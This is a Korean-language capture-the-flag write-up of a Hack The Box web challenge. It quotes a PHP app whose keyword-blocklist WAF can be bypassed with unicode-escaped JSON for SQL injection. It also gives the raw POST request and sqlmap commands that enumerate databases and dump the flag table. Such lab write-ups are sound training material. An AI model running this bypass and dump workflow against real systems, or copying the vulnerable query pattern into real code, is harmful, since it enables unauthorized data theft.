괜한 걸로 몇일을 뺀 거 같아 허무하다..
<?php error_reporting(0);
require 'config.php';
class db extends Connection {
public function waf($s) {
if (preg_match_all('/'. implode('|', array(
'[' . preg_quote("(*<=>|'&-@") . ']',
'select', 'and', 'or', 'if', 'by', 'from',
'where', 'as', 'is', 'in', 'not', 'having'
)) . '/i', $s, $matches)) die(var_dump($matches[0]));
return json_decode($s);
}
public function query($sql) {
$args = func_get_args();
unset($args[0]);
return parent::query(vsprintf($sql, $args));
}
}
$db = new db();
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$obj = $db->waf(file_get_contents('php://input'));
$db->query("SELECT note FROM notes WHERE assignee = '%s'", $obj->user);
} else {
die(highlight_file(__FILE__, 1));
}
?>
문제와는 상관없지만 대충 느낌상 넘어갔던 코드들을 살짝만 정리해보자.
db 클래스가 자식클래스, Connection이 부모 클래스. db클래스를 Connection 클래스에 상속시켰다.
클래스 내부에서 메소드와 프로퍼티를 정의할 때 접근 제어자를 사용할 수 있다.
parent:: 키워드는 자식과 부모가 같은 이름의 메소드를 가지고 있을 때, 부모의 메소드를 호출할 때 쓴다.
waf() 메소드는 json_decode('php://input') 을 리턴한다. php://input을 이용해 request body에 있는 raw data를 읽고, json_decode를 이용해 JSON 형태의 문자열을 object 형태로 변환한다.
❗
php://inputis a read-only stream that allows you to read raw data from the request body.
그 object의 user필드에 해당하는 값을 추출해 쿼리문에 삽입한다. 여기서 SQL Injection이 발생하는데, waf()를 우회할 필요가 있다.
여러가지 시도해보다가 local에서 Mysql DB를 대상으로 escape된 unicode encoding이 먹히는 것을 확인했다.
입력을 보내니까 아무런 응답도 안온다.. 그래서 time based blind sql injection를 시도해야겠다고 생각하고 sqlmap을 돌렸다. POST 형식으로 보내는 요청의 body에 내가 원하는 인젝션 포인트가 있기 때문에 평소와는 좀 다르게 썼다.
time based & unicode encoding임을 알았을 때 sqlmap을 돌려서 Mysql DB임을 확인할 수 있었다.
Raw.txt
POST / HTTP/1.1
Content-Type: application/json
Host: docker.hackthebox.eu:30616
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Length: 21
{
"user":"bbang"
}
$ sqlmap.py -r Raw.txt --tamper=charunicodeescape --technique=T --dbs --dbms=mysql
// Raw.txt에서 인젝션 포인트를 찾아 문자를 \u0027와 같은 형태로 바꿔주고 time-based blind sql injection을 수행해서 Database들을 확인한다.
$ sqlmap.py -r Raw.txt --tamper=charunicodeescape --technique=T --dbms=mysql --time-sec=2 --tables -D db_m8452
// 그 중에서 db_m8452라는 DB에 있는 테이블들을 나열한다.
$ sqlmap.py -r Raw.txt --tamper=charunicodeescape --technique=T --dbms=mysql --time-sec=2 --dump -T definitely_not_a_flag
// 확인한 DB에서 definitely_not_a_flag라는 테이블의 내용을 dump한다. 그 안에 플래그가 있다.
sqlmap을 쓸 때 많이 쓰는 옵션들:
🚀참고
--tamper옵션에는 페이로드를 인코딩, 변경할 수 있는 방법을 지정할 수 있다.
아래의 링크에서 내가 원하는 형태로 변경해주는 방법인 charunicodeescape를 선택했다.
$ sqlmap.py --list-tampers
🚀참고
https://medium.com/@pentesta/all-sqlmap-tamper-scripts-2019-f91a07e1b4f1
time-based blind sql injection인 걸 알았을 때 스크립트를 짤까 생각했지만 너무 오래걸릴 것 같아서 그냥 sqlmap을 썼다. sqlmap 의 옵션들을 잘 활용하는 것도 중요할 것 같다 😊
예를 들어서 --tamper 옵션에 너무 많은 옵션을 주는 건 딱히 좋지 않고, --technique과 --dbms를 지정해주면 좀 더 빠르게 sqlmap을 돌릴 수 있다.
[1 entry]
+-----------------------------------+
| flag |
+-----------------------------------+
| HTB{🤐} |
+-----------------------------------+
🏁flag : HTB{🤐}